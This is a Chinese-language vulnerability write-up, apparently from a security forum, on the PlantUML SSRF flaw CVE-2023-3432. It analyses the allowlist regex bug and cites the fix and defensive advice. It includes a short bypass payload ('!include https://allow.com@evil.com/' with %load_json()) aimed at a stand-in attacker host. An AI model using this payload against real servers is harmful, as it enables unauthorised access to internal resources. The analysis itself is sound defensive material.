【Web实战】浅谈PlantUML回显SSRF漏洞(CVE-2023-3432)
字数 1336 2025-08-10 08:28:42

PlantUML回显SSRF漏洞分析(CVE-2023-3432) 教学文档

1. PlantUML简介

PlantUML是一种开源的、用于绘制UML(Unified Modeling Language)图表的工具。它使用简单的文本描述语言来定义和生成各种类型的图表,如类图、时序图、用例图等。

基本语法示例:

@startuml
Bob -> Alice : hello!
@enduml

2. 漏洞概述

CVE-2023-3432是一个与SSRF(Server-Side Request Forgery)相关的漏洞,存在于PlantUML的URI内容加载功能中。该漏洞允许攻击者绕过安全限制,访问未授权的网络资源。

3. 漏洞成因分析

3.1 PlantUML的!include指令

PlantUML提供!include指令用于引入外部文件内容,支持加载URI:

@startuml
!include https://forum.butian.net
Alice -> Bob: Message
@enduml

3.2 PlantUML的安全机制

PlantUML通过SecurityProfile实现安全控制:

  1. SANDBOX模式:最安全,禁止访问本地文件和远程URL
  2. ALLOWLIST模式:只允许访问白名单中的资源
  3. INTERNET模式:限制对外部资源的访问

关键安全检查方法:

  • net.sourceforge.plantuml.security.SURL#isUrlOk
  • net.sourceforge.plantuml.security.SFile#isFileOk

3.3 ALLOWLIST模式的安全实现

在ALLOWLIST模式下,URL检查流程:

  1. 调用cleanPath规范化请求目标
  2. 调用removeUserInfoFromUrlPath去除用户信息
  3. 检查请求URL是否以白名单URL开头

问题出在removeUserInfoFromUrlPath方法的正则表达式:

^https?://([-_0-9a-zA-Z]+@)([^@]*)

该正则表达式存在以下问题:

  1. 无法正确处理<username>:<password>@<host>格式
  2. 未匹配.字符,导致类似https://plantuml.com@evil.com的URL不会被去除userInfo

3.4 漏洞利用

结合%load_json()可以获取更多内容:

@startuml
!include https://allow.com@evil.com/
a -> b: %load_json()
@enduml

4. 漏洞修复

修复方案主要改进了对URL中@符号的处理:

  1. 更严格地检查URL格式
  2. 确保正确去除用户信息部分

修复提交:
https://github.com/plantuml/plantuml/commit/b32500bb61ae617bb312496d6d832e4be8190797

5. 相关案例

类似漏洞:CVE-2020-13956 (HttpClient)

  • HttpClient在解析URL时对@符号处理不当
  • getHost()失败时,会调用getAuthority()进行调整
  • 攻击者可构造特殊URL绕过限制

6. SSRF防护建议

  1. 实施严格的白名单机制
  2. 正确处理URL中的特殊字符(@, :, .等)
  3. 考虑应用自身对请求目标的处理逻辑
  4. 防范各种畸形请求的绕过方式

7. 总结

CVE-2023-3432展示了即使存在安全机制,实现细节中的小疏忽也可能导致严重漏洞。在开发涉及网络请求的功能时,必须全面考虑各种边界情况和特殊输入。

PlantUML回显SSRF漏洞分析(CVE-2023-3432) 教学文档 1. PlantUML简介 PlantUML是一种开源的、用于绘制UML(Unified Modeling Language)图表的工具。它使用简单的文本描述语言来定义和生成各种类型的图表,如类图、时序图、用例图等。 基本语法示例: 2. 漏洞概述 CVE-2023-3432是一个与SSRF(Server-Side Request Forgery)相关的漏洞,存在于PlantUML的URI内容加载功能中。该漏洞允许攻击者绕过安全限制,访问未授权的网络资源。 3. 漏洞成因分析 3.1 PlantUML的 !include指令 PlantUML提供 !include 指令用于引入外部文件内容,支持加载URI: 3.2 PlantUML的安全机制 PlantUML通过 SecurityProfile 实现安全控制: SANDBOX模式 :最安全,禁止访问本地文件和远程URL ALLOWLIST模式 :只允许访问白名单中的资源 INTERNET模式 :限制对外部资源的访问 关键安全检查方法: net.sourceforge.plantuml.security.SURL#isUrlOk net.sourceforge.plantuml.security.SFile#isFileOk 3.3 ALLOWLIST模式的安全实现 在ALLOWLIST模式下,URL检查流程: 调用 cleanPath 规范化请求目标 调用 removeUserInfoFromUrlPath 去除用户信息 检查请求URL是否以白名单URL开头 问题出在 removeUserInfoFromUrlPath 方法的正则表达式: 该正则表达式存在以下问题: 无法正确处理 <username>:<password>@<host> 格式 未匹配 . 字符,导致类似 https://plantuml.com@evil.com 的URL不会被去除userInfo 3.4 漏洞利用 结合 %load_json() 可以获取更多内容: 4. 漏洞修复 修复方案主要改进了对URL中 @ 符号的处理: 更严格地检查URL格式 确保正确去除用户信息部分 修复提交: https://github.com/plantuml/plantuml/commit/b32500bb61ae617bb312496d6d832e4be8190797 5. 相关案例 类似漏洞:CVE-2020-13956 (HttpClient) HttpClient在解析URL时对 @ 符号处理不当 当 getHost() 失败时,会调用 getAuthority() 进行调整 攻击者可构造特殊URL绕过限制 6. SSRF防护建议 实施严格的白名单机制 正确处理URL中的特殊字符( @ , : , . 等) 考虑应用自身对请求目标的处理逻辑 防范各种畸形请求的绕过方式 7. 总结 CVE-2023-3432展示了即使存在安全机制,实现细节中的小疏忽也可能导致严重漏洞。在开发涉及网络请求的功能时,必须全面考虑各种边界情况和特殊输入。